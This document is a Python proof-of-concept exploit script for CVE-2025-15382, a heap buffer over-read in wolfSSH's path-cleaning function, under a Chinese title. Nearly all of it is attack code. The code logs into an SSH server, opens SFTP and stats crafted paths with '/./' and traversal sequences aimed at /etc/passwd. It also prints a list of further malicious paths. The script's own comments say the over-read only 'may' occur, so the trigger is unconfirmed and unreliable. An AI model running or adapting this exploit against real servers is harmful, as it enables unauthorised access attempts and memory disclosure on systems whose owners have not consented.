CVE-2025-15382: wolfSSH wolfSSH_CleanPath堆缓冲区越界读取漏洞

import socket import paramiko # CVE-2025-15382 PoC - wolfSSH wolfSSH_CleanPath Heap Over-Read # This PoC demonstrates exploiting the heap buffer over-read via crafted SCP path def exploit_wolfssh_overread(target_host, target_port, username, password): """ Exploit wolfSSH_CleanPath heap over-read vulnerability Trigger condition: SCP path containing '/./' sequence """ try: # Connect to wolfSSH server ssh_client = paramiko.SSHClient() ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh_client.connect(target_host, port=target_port, username=username, password=password, timeout=10) # Open SFTP/SCP session sftp = ssh_client.open_sftp() # Crafted path with '/./' sequence to trigger over-read # This path triggers the vulnerability in wolfSSH_CleanPath() malicious_path = '/normal/./path/../../../etc/passwd' try: # Attempt to access the crafted path # This triggers the heap over-read in wolfSSH_CleanPath() sftp.stat(malicious_path) print(f"[+] Path access attempted: {malicious_path}") except IOError as e: # Even if access fails, the over-read may have occurred print(f"[!] Access attempted (over-read may have occurred): {e}") sftp.close() ssh_client.close() print("[+] Exploit completed - check server logs for memory leak indicators") return True except Exception as e: print(f"[-] Exploit failed: {e}") return False # Alternative: Direct packet crafting for SCP protocol def craft_scp_path_overread(): """ Generate malicious SCP path for manual testing """ # The vulnerability is triggered by paths containing '/./' sequences # Example paths that may trigger the vulnerability: malicious_paths = [ '/home/user/./file.txt', '/normal/./path/../../../etc/passwd', '//./' + 'a'*100, '/valid/./' + '../'*10 + '/target' ] print("Malicious paths for testing:") for path in malicious_paths: print(f" - {path}") return malicious_paths if __name__ == "__main__": # Configuration TARGET_HOST = "192.168.1.100" TARGET_PORT = 22 USERNAME = "valid_user" PASSWORD = "valid_password" # Run exploit exploit_wolfssh_overread(TARGET_HOST, TARGET_PORT, USERNAME, PASSWORD)